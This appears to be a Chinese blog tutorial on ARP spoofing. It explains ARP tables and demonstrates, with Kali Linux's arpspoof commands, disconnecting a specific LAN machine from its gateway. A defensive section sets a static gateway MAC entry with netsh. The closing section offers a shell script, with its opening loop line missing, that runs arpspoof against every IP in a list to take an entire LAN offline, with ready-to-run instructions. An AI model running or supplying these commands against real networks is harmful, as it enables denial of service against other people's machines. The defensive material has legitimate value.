1.攻击范围:ARP攻击只存在于局域网内,无法对外网进行攻击。
2.相关知识的说明:局域网内的每一台联网的电脑,都将被分配一个单独的IP地址和一个MAC地址;另外,还有一个默认网关,这个网关也会被分配一个IP地址和MAC地址。这些电脑和网关,都有一个arp表格,其中记录着局域网内其他电脑的IP地址和MAC地址信息。
说人话:这个arp表格中记录的数据,其实可以理解成就是记录着其他电脑的位置信息,当我要跟他进行数据交互的时候,我就从表格中获取对应电脑IP地址的MAC地址,根据拿出来的MAC地址去给他发数据。
打开命令行,输入arp -a
即可查看当前局域网内,所有在线IP地址和他们的MAC地址,也就是上面说的位置。演示电脑存在多个网段,这里我挑选其中192.169.16.50这个接口进行演示。从中可以看到,局域网内在线IP地址和相关的MAC地址(物理地址)。
再输入ipconfig
即可查看相关IP信息,我们从中能查看到默认网关的地址。从下图我们可以看到,这个网段的默认网关也就是192.168.16.254。再根据上图,即可得出默认网关的物理地址了。
3.攻击原理:局域网内所有电脑向互联网发送数据的时候,数据都会经过默认网关,再由网关转发到互联网。ARP欺骗攻击,其实就是把默认网关的MAC地址给你改了,让你发送的数据根本到不了网关,也就没办法发送到互联网,也就造成了断网。
命令行输入tracert www.baidu.com
就可以查看本机到百度的相关信息,从下图可以看出来,数据的第一站就是我们的网关:192.168.16.254。
当你阅读完第一步的概述之后,相信你对ARP攻击有一个初步的了解了,现在咱们来进行演示之前的准备工作。首先,因为某种原因,咱们演示需要用到KALI系统,所以咱们需要安装一个KALI系统(对这个系统不是很清楚的可以先去百度了解一下),推荐用虚拟机来安装。
VMware 10.0官网下载地址:前往下载
KALI操作系统官网下载地址:前往下载
kali系统下载好后,在vmware上安装教程百度一下就有很多的教程,由于篇幅有限,这里不进行演示。
宿主机IP地址:192.168.16.50
虚拟机中KALI的IP地址:192.168.16.87
被攻击的计算机的IP:192.168.16.80(这是博主的另一台计算机)
1.首先,咱们来靶机上测试一下,下图表示该机器现在网络是通的。
2.进入kali系统的命令行,输入sudo su
,然后输入密码,进入管理员模式。输入arpspoof
即可查看它的相关信息,如果你能看到下面信息,说明你的系统装有这个工具;如果没有这个工具,输入如下命令apt-get install dsniff ssldump
,即可安装这个工具。
接下来再输入ifconfig
查看IP和网卡等信息备用,从下图可以看出这台虚拟机的IP地址是192.168.16.87,该网段对应的网卡是eth0。
注意:如果你的虚拟机和你的宿主机不在同一网段,也就是你的虚拟机的IP不是192.168.16.*的的话,你需要把虚拟机的网络适配器的连接模式设置成桥接模式。
3.接下来开始进行攻击,输入arpspoof -i eth0 -t 192.168.16.80 192.168.16.254
(其中eth0为网卡名称,192.168.16.80为被攻击的电脑IP,192.168.16.254为该局域网的网关。必要的时候,对这三个地方进行修改),即可进行不间断攻击。
4.这个时候,我们在看被攻击的电脑,已经断网了。
5.当我们会到KALI系统上,同时按住ctrl和c即可停止攻击,这个时候,被攻击的机器也就又可以上网了。
上文提到过,ARP攻击其实就是修改你电脑arp表格中网关的MAC物理地址,让你电脑的数据发送不到网关,也就到不了外网于是就断网了。下面介绍防范该种攻击的方法,把电脑arp表格中网关的MAC物理地址从动态改成静态,这样别人就无法通过arpspoof命令对你电脑arp表格中网关的MAC地址进行修改,也就不能让你断网。
1.首先咱们输入在192.168.16.80这台电脑上输入arp -a
查看网关的MAC物理地址。从下图可以得出,网关192.168.16.254的正确MAC物理地址是:08-4f-0a-b3-d7-a2,注意看,此时的网关是动态的。
2.咱们转到KALI系统,执行arpspoof -i eth0 -t 192.168.16.80 192.168.16.254
命令,对192.168.16.80这台电脑进行攻击。在KALI上执行命令后,咱们再输入arp -a
查看网关的MAC地址,结果如下,能够看到,咱们电脑上网关的MAC地址已经被修改了。刚才是08开头,现在是00开头。
3.上面两个步骤已经把攻击原理解释清楚了,就是说你计算机对外发送数据,本来是要发到网关去的数据包(网关的正确MAC物理地址是:08-4f-0a-b3-d7-a2),现在被篡改,导致数据包发送到了00-0c-29-c6-db-90,也就是一个错误的地址,自然就不能到达外网。接下来,咱们把网关MAC地址设置成静态地址,就可以防止ARP攻击篡改MAC地址。
4.在命令行输入netsh i i show in
,输出各个网卡的信息,等会备用。从下图我们可以看到,以太网网卡的Idx值是14,记住这个14,等会会用到。
5.在命令行输入 netsh -c “i i” add neighbors 14 192.168.16.254 08-4f-0a-b3-d7-a2
(其中的14就是刚才的Idx,192.168.16.254就是网关的IP地址,08-4f-0a-b3-d7-a2就是网关的真实MAC物理地址,大家在操作的时候,对其进行必要的修改),就可以在你电脑上把网关的MAC地址设置成静态的了。
6.此时,咱们再在命令行种输入arp -a
,查看网卡的信息。此时,我们可以看到网卡的MAC地址已经变成静态的08-4f-0a-b3-d7-a2了,到了这里,别人也就没有办法对你进行ARP欺骗攻击了。
7.如果你想把它的MAC地址改回动态的,只需要在命令行输入netsh -c "i i" delete neighbors 14
即可。
如果你想对局域网内的全部电脑进行群体ARP攻击的话,可以试试下面的shell脚本。
1.在某一个目录下输入touch ip.txt
新建一个名为ip.txt的文本,输入vim ip.txt
就可以对他进行编辑。
2.进去后按一下字母a,左下角显示insert后即可开始编辑,把局域网内所有的IP全部写进去。
3.写完后,先按一下Esc键,再输入一个冒号(:),再输入wq保存退出文本编辑。
4.在同一目录下输入touch attack.sh
新建一个名为attack的shell脚本,输入vim attack.sh
就可以对他进行编辑。
5.同样,进去后按一下字母a,左下角显示insert后即可开始编辑,复制下面代码,粘贴进去。注意,网关地址和最后一行的文件位置不要写错。
do
{
arpspoof -i eth0 -t $list 192.168.16.254
}&
done < ./ip.txt
6.写完后,先按一下Esc键,再输入一个冒号(:),再输入wq保存退出编辑。
7.在命令行输入./attack.sh
就可以直接运行这个shell脚本,此时就已经发起群体攻击了。